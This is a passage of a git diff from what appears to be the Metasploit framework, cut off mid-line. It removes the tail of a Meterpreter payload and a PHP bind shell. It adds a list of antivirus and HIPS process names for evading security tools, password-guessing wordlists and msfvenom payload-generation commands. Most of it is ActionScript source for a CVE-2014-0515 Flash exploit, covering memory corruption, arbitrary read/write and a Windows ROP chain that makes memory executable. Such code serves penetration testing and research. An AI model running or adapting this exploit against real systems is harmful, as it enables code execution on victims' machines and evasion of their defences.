error_result(NotImplementedError) - resp += tlv_pack(TLV_TYPE_RESULT, result) - resp = struct.pack('>I', len(resp) + 4) + resp - return resp - -if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): - if hasattr(os, 'setsid'): - try: - os.setsid() - except OSError: - pass - if HTTP_CONNECTION_URL and has_urllib: - met = PythonMeterpreter() - else: - met = PythonMeterpreter(s) - met.run() diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php deleted file mode 100755 index a987fd4b31..0000000000 --- a/data/php/bind_tcp.php +++ /dev/null @@ -1,56 +0,0 @@ -#
- You peer + Your peer
@@ -199,4 +199,4 @@ - \ No newline at end of file + diff --git a/data/wordlists/av_hips_executables.txt b/data/wordlists/av_hips_executables.txt new file mode 100644 index 0000000000..ad26923f55 --- /dev/null +++ b/data/wordlists/av_hips_executables.txt @@ -0,0 +1,614 @@ +emet_agent.exe +emet_service.exe +firesvc.exe +firetray.exe +hipsvc.exe +mfevtps.exe +mcafeefire.exe +scan32.exe +shstat.exe +tbmon.exe +vstskmgr.exe +engineserver.exe +mfevtps.exe +mfeann.exe +mcscript.exe +updaterui.exe +udaterui.exe +naprdmgr.exe +frameworkservice.exe +cleanup.exe +cmdagent.exe +frminst.exe +mcscript_inuse.exe +mctray.exe +mcshield.exe +AAWTray.exe +Ad-Aware.exe +MSASCui.exe +_avp32.exe +_avpcc.exe +_avpm.exe +aAvgApi.exe +ackwin32.exe +adaware.exe +advxdwin.exe +agentsvr.exe +agentw.exe +alertsvc.exe +alevir.exe +alogserv.exe +amon9x.exe +anti-trojan.exe +antivirus.exe +ants.exe +apimonitor.exe +aplica32.exe +apvxdwin.exe +arr.exe +atcon.exe +atguard.exe +atro55en.exe +atupdater.exe +atwatch.exe +au.exe +aupdate.exe +auto-protect.nav80try.exe +autodown.exe +autotrace.exe +autoupdate.exe +avconsol.exe +ave32.exe +avgcc32.exe +avgctrl.exe +avgemc.exe +avgnt.exe +avgrsx.exe +avgserv.exe +avgserv9.exe +avguard.exe +avgw.exe +avkpop.exe +avkserv.exe +avkservice.exe +avkwctl9.exe +avltmain.exe +avnt.exe +avp.exe +avp.exe +avp32.exe +avpcc.exe +avpdos32.exe +avpm.exe +avptc32.exe +avpupd.exe +avsched32.exe +avsynmgr.exe +avwin.exe +avwin95.exe +avwinnt.exe +avwupd.exe +avwupd32.exe +avwupsrv.exe +avxmonitor9x.exe +avxmonitornt.exe +avxquar.exe +backweb.exe +bargains.exe +bd_professional.exe +beagle.exe +belt.exe +bidef.exe +bidserver.exe +bipcp.exe +bipcpevalsetup.exe +bisp.exe +blackd.exe +blackice.exe +blink.exe +blss.exe +bootconf.exe +bootwarn.exe +borg2.exe +bpc.exe +brasil.exe +bs120.exe +bundle.exe +bvt.exe +ccapp.exe +ccevtmgr.exe +ccpxysvc.exe +ccsvchst.exe +cdp.exe +cfd.exe +cfgwiz.exe +cfiadmin.exe +cfiaudit.exe +cfinet.exe +cfinet32.exe +claw95.exe +claw95cf.exe +clean.exe +cleaner.exe +cleaner3.exe +cleanpc.exe +click.exe +cmesys.exe +cmgrdian.exe +cmon016.exe +connectionmonitor.exe +cpd.exe +cpf9x206.exe +cpfnt206.exe +ctrl.exe +cv.exe +cwnb181.exe +cwntdwmo.exe +datemanager.exe +dcomx.exe +defalert.exe +defscangui.exe +defwatch.exe +deputy.exe +divx.exe +dllcache.exe +dllreg.exe +doors.exe +dpf.exe +dpfsetup.exe +dpps2.exe +drwatson.exe +drweb32.exe +drwebupw.exe +dssagent.exe +dvp95.exe +dvp95_0.exe +ecengine.exe +efpeadm.exe +emsw.exe +ent.exe +esafe.exe +escanhnt.exe +escanv95.exe +espwatch.exe +ethereal.exe +etrustcipe.exe +evpn.exe +exantivirus-cnet.exe +exe.avxw.exe +expert.exe +explore.exe +f-agnt95.exe +f-prot.exe +f-prot95.exe +f-stopw.exe +fameh32.exe +fast.exe +fch32.exe +fih32.exe +findviru.exe +firewall.exe +fnrb32.exe +fp-win.exe +fp-win_trial.exe +fprot.exe +frw.exe +fsaa.exe +fsav.exe +fsav32.exe +fsav530stbyb.exe +fsav530wtbyb.exe +fsav95.exe +fsgk32.exe +fsm32.exe +fsma32.exe +fsmb32.exe +gator.exe +gbmenu.exe +gbpoll.exe +generics.exe +gmt.exe +guard.exe +guarddog.exe +hacktracersetup.exe +hbinst.exe +hbsrv.exe +hotactio.exe +hotpatch.exe +htlog.exe +htpatch.exe +hwpe.exe +hxdl.exe +hxiul.exe +iamapp.exe +iamserv.exe +iamstats.exe +ibmasn.exe +ibmavsp.exe +icload95.exe +icloadnt.exe +icmon.exe +icsupp95.exe +icsuppnt.exe +idle.exe +iedll.exe +iedriver.exe +iface.exe +ifw2000.exe +inetlnfo.exe +infus.exe +infwin.exe +init.exe +intdel.exe +intren.exe +iomon98.exe +istsvc.exe +jammer.exe +jdbgmrg.exe +jedi.exe +kavlite40eng.exe +kavpers40eng.exe +kavpf.exe +kazza.exe +keenvalue.exe +kerio-pf-213-en-win.exe +kerio-wrl-421-en-win.exe +kerio-wrp-421-en-win.exe +kernel32.exe +killprocesssetup161.exe +launcher.exe +ldnetmon.exe +ldpro.exe +ldpromenu.exe +ldscan.exe +lnetinfo.exe +loader.exe +localnet.exe +lockdown.exe +lockdown2000.exe +lookout.exe +lordpe.exe +lsetup.exe +luall.exe +luau.exe +lucomserver.exe +luinit.exe +luspt.exe +mapisvc32.exe +mcagent.exe +mcmnhdlr.exe +mcshield.exe +mctool.exe +mcupdate.exe +mcvsrte.exe +mcvsshld.exe +md.exe +mfin32.exe +mfw2en.exe +mfweng3.02d30.exe +mgavrtcl.exe +mgavrte.exe +mghtml.exe +mgui.exe +minilog.exe +mmod.exe +monitor.exe +moolive.exe +mostat.exe +mpfagent.exe +mpfservice.exe +mpftray.exe +mrflux.exe +msapp.exe +msbb.exe +msblast.exe +mscache.exe +msccn32.exe +mscman.exe +msconfig.exe +msdm.exe +msdos.exe +msiexec16.exe +msinfo32.exe +mslaugh.exe +msmgt.exe +msmsgri32.exe +mssmmc32.exe +mssys.exe +msvxd.exe +mu0311ad.exe +mwatch.exe +n32scanw.exe +nav.exe +navap.navapsvc.exe +navapsvc.exe +navapw32.exe +navdx.exe +navlu32.exe +navnt.exe +navstub.exe +navw32.exe +navwnt.exe +nc2000.exe +ncinst4.exe +ndd32.exe +neomonitor.exe +neowatchlog.exe +netarmor.exe +netd32.exe +netinfo.exe +netmon.exe +netscanpro.exe +netspyhunter-1.2.exe +netstat.exe +netutils.exe +nisserv.exe +nisum.exe +nmain.exe +nod32.exe +normist.exe +norton_internet_secu_3.0_407.exe +notstart.exe +npf40_tw_98_nt_me_2k.exe +npfmessenger.exe +nprotect.exe +npscheck.exe +npssvc.exe +nsched32.exe +nssys32.exe +nstask32.exe +nsupdate.exe +nt.exe +ntrtscan.exe +ntvdm.exe +ntxconfig.exe +nui.exe +nupgrade.exe +nvarch16.exe +nvc95.exe +nvsvc32.exe +nwinst4.exe +nwservice.exe +nwtool16.exe +ollydbg.exe +onsrvr.exe +optimize.exe +ostronet.exe +otfix.exe +outpost.exe +outpostinstall.exe +outpostproinstall.exe +padmin.exe +panixk.exe +patch.exe +pavcl.exe +pavproxy.exe +pavsched.exe +pavw.exe +pccwin98.exe +pcfwallicon.exe +pcip10117_0.exe +pcscan.exe +pdsetup.exe +periscope.exe +persfw.exe +perswf.exe +pf2.exe +pfwadmin.exe +pgmonitr.exe +pingscan.exe +platin.exe +pop3trap.exe +poproxy.exe +popscan.exe +portdetective.exe +portmonitor.exe +powerscan.exe +ppinupdt.exe +pptbc.exe +ppvstop.exe +prizesurfer.exe +prmt.exe +prmvr.exe +procdump.exe +processmonitor.exe +procexplorerv1.0.exe +programauditor.exe +proport.exe +protectx.exe +pspf.exe +purge.exe +qconsole.exe +qserver.exe +rapapp.exe +rav7.exe +rav7win.exe +rav8win32eng.exe +ray.exe +rb32.exe +rcsync.exe +realmon.exe +reged.exe +regedit.exe +regedt32.exe +rescue.exe +rescue32.exe +rrguard.exe +rshell.exe +rtvscan.exe +rtvscn95.exe +rulaunch.exe +run32dll.exe +rundll.exe +rundll16.exe +ruxdll32.exe +safeweb.exe +sahagent.exescan32.exe +shstat.exe +tbmon.exe +vstskmgr.exe +engineserver.exe +mfevtps.exe +mfeann.exe +mcscript.exe +updaterui.exe +udaterui.exe +naprdmgr.exe +frameworkservice.exe +cleanup.exe +cmdagent.exe +frminst.exe +mcscript_inuse.exe +mctray.exe +mcshield.exe +save.exe +savenow.exe +sbserv.exe +sc.exe +scam32.exe +scan32.exe +scan95.exe +scanpm.exe +scrscan.exe +serv95.exe +setup_flowprotector_us.exe +setupvameeval.exe +sfc.exe +sgssfw32.exe +sh.exe +shellspyinstall.exe +shn.exe +showbehind.exe +smc.exe +sms.exe +smss32.exe +soap.exe +sofi.exe +sperm.exe +spf.exe +sphinx.exe +spoler.exe +spoolcv.exe +spoolsv32.exe +spyxx.exe +srexe.exe +srng.exe +ss3edit.exe +ssg_4104.exe +ssgrate.exe +st2.exe +start.exe +stcloader.exe +supftrl.exe +support.exe +supporter5.exe +svchostc.exe +svchosts.exe +sweep95.exe +sweepnet.sweepsrv.sys.swnetsup.exe +symproxysvc.exe +symtray.exe +sysedit.exe +sysupd.exe +taskmg.exe +taskmo.exe +taumon.exe +tbscan.exe +tc.exe +tca.exe +tcm.exe +tds-3.exe +tds2-98.exe +tds2-nt.exe +teekids.exe +tfak.exe +tfak5.exe +tgbob.exe +titanin.exe +titaninxp.exe +tracert.exe +trickler.exe +trjscan.exe +trjsetup.exe +trojantrap3.exe +tsadbot.exe +tvmd.exe +tvtmd.exe +undoboot.exe +updat.exe +update.exe +upgrad.exe +utpost.exe +vbcmserv.exe +vbcons.exe +vbust.exe +vbwin9x.exe +vbwinntw.exe +vcsetup.exe +vet32.exe +vet95.exe +vettray.exe +vfsetup.exe +vir-help.exe +virusmdpersonalfirewall.exe +vnlan300.exe +vnpc3000.exe +vpc32.exe +vpc42.exe +vpfw30s.exe +vptray.exe +vscan40.exe +vscenu6.02d30.exe +vsched.exe +vsecomr.exe +vshwin32.exe +vsisetup.exe +vsmain.exe +vsmon.exe +vsstat.exe +vswin9xe.exe +vswinntse.exe +vswinperse.exe +w32dsm89.exe +w9x.exe +watchdog.exe +webdav.exe +webscanx.exe +webtrap.exe +wfindv32.exe +whoswatchingme.exe +wimmun32.exe +win-bugsfix.exe +win32.exe +win32us.exe +winactive.exe +window.exe +windows.exe +wininetd.exe +wininitx.exe +winlogin.exe +winmain.exe +winnet.exe +winppr32.exe +winrecon.exe +winservn.exe +winssk32.exe +winstart.exe +winstart001.exe +wintsk32.exe +winupdate.exe +wkufind.exe +wnad.exe +wnt.exe +wradmin.exe +wrctrl.exe +wsbgate.exe +wupdater.exe +wupdt.exe +wyvernworksfirewall.exe +xpf202en.exe +zapro.exe +zapsetup3001.exe +zatutor.exe +zonalm2601.exe +zonealarm.exe diff --git a/data/wordlists/keyboard-patterns.txt b/data/wordlists/keyboard-patterns.txt new file mode 100644 index 0000000000..143b9d904a --- /dev/null +++ b/data/wordlists/keyboard-patterns.txt @@ -0,0 +1,20 @@ +qwerty +qwertyuiop +1qaz2wsx +qazwsx +asdfgh +zxcvbnm +1234qwer +q1w2e3r4t5 +qwer1234 +q1w2e3r4 +asdfasdf +qazwsxedc +asdfghjkl +q1w2e3 +1qazxsw2 +12QWaszx +qweasdzxc +mnbvcxz +a1b2c3d4 +adgjmptw diff --git a/data/wordlists/unix_passwords.txt b/data/wordlists/unix_passwords.txt index 02728bc293..08c9a5b1c5 100755 --- a/data/wordlists/unix_passwords.txt +++ b/data/wordlists/unix_passwords.txt @@ -1002,4 +1002,5 @@ sq!us3r adminpasswd raspberry 74k&^*nh#$ -arcsight \ No newline at end of file +arcsight +MargaretThatcheris110%SEXY diff --git a/external/source/DLLHijackAuditKit/regenerate_binaries.rb b/external/source/DLLHijackAuditKit/regenerate_binaries.rb index a396b542b8..5e2b8a0ef7 100755 --- a/external/source/DLLHijackAuditKit/regenerate_binaries.rb +++ b/external/source/DLLHijackAuditKit/regenerate_binaries.rb @@ -2,12 +2,12 @@ dllbase = File.expand_path(File.dirname(__FILE__)) msfbase = File.expand_path(File.join(dllbase, "..", "..", "..")) -msfp = File.join(msfbase, "msfpayload") +msfv = File.join(msfbase, "msfvenom") Dir.chdir(dllbase) -system("ruby #{msfp} windows/exec CMD=calc.exe X > runcalc.exe") -system("ruby #{msfp} windows/exec CMD=calc.exe D > runcalc.dll") -system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' D > runtest.dll") -system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' X > runtest.exe") +system("ruby #{msfv} -p windows/exec CMD=calc.exe -f exe -o runcalc.exe") +system("ruby #{msfv} -p windows/exec CMD=calc.exe -f dll -o runcalc.dll") +system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f dll -o runtest.dll") +system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f exe -o runtest.exe") diff --git a/external/source/exploits/CVE-2014-0515/Elf.as b/external/source/exploits/CVE-2014-0515/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Exploit.as b/external/source/exploits/CVE-2014-0515/Exploit.as new file mode 100755 index 0000000000..7660742210 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Exploit.as @@ -0,0 +1,131 @@ +//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf +// It uses original code from @hdarwin89 for exploitation using ba's and vectors + +package { + import flash.display.Sprite + import flash.utils.ByteArray + import flash.display.Shader + import flash.system.Capabilities + import flash.utils.Endian + import __AS3__.vec.Vector + import __AS3__.vec.* + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite { + + protected var Shad:Class + private var uv:Vector. + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit(){ + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + var shader:Shader + if (platform == "linux") { + this.Shad = GraphShadLinux + } else { + this.Shad = GraphShadWindows + } + + super() + var i:* = 0 + var j:* = 0 + var offset:int = -1 + var corrupted_vector_idx:int = -1 + + // Memory massage + var array_length:uint = 0x10000 + var vector_size:uint = 34 + var array:Array = new Array() + + i = 0 + while (i < array_length) + { + array[i] = new Vector.(vector_size) + i++; + } + + i = 0 + while (i < array_length) + { + array[i].length = 0 + i++ + } + + i = 0x0200 + while (i < array_length) + { + array[(i - (2 * (j % 2)))].length = 0x0100 + array[(i - (2 * (j % 2)))][0] = 0xdeedbeef + array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2))) + i = (i + 28) + j++ + } + + // Overflow and Search for corrupted vector + var shadba:ByteArray = (new this.Shad() as ByteArray) + shadba.position = 0 + + shader = new Shader() + try + { + shader.byteCode = (new this.Shad() as ByteArray); + } catch(e) { } + + i = 0 + while (i < array_length) + { + if (array[i].length > 0x0100) + { + corrupted_vector_idx = i + break + } + i++ + } + + if (corrupted_vector_idx == -1) { + return + } + + for(i = 0; i < array[corrupted_vector_idx].length; i++) { + if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) { + array[corrupted_vector_idx][i] = 0xffffffff + offset = i + break + } + } + + if (offset == -1) { + return + } + + + for(i = 0; i < array.length; i++) { + if (array[i].length == 0xffffffff) { + uv = array[i] + uv[0x3ffffffc - offset] = 34 + } + } + + for(i = 0; i < array.length; i++) { + if (array[i].length != 0xffffffff) { + delete(array[i]) + array[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/ExploitByteArray.as b/external/source/exploits/CVE-2014-0515/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/ExploitVector.as b/external/source/exploits/CVE-2014-0515/ExploitVector.as new file mode 100644 index 0000000000..d0283d803e --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x100 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Exploiter.as b/external/source/exploits/CVE-2014-0515/Exploiter.as new file mode 100644 index 0000000000..0a971409f6 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 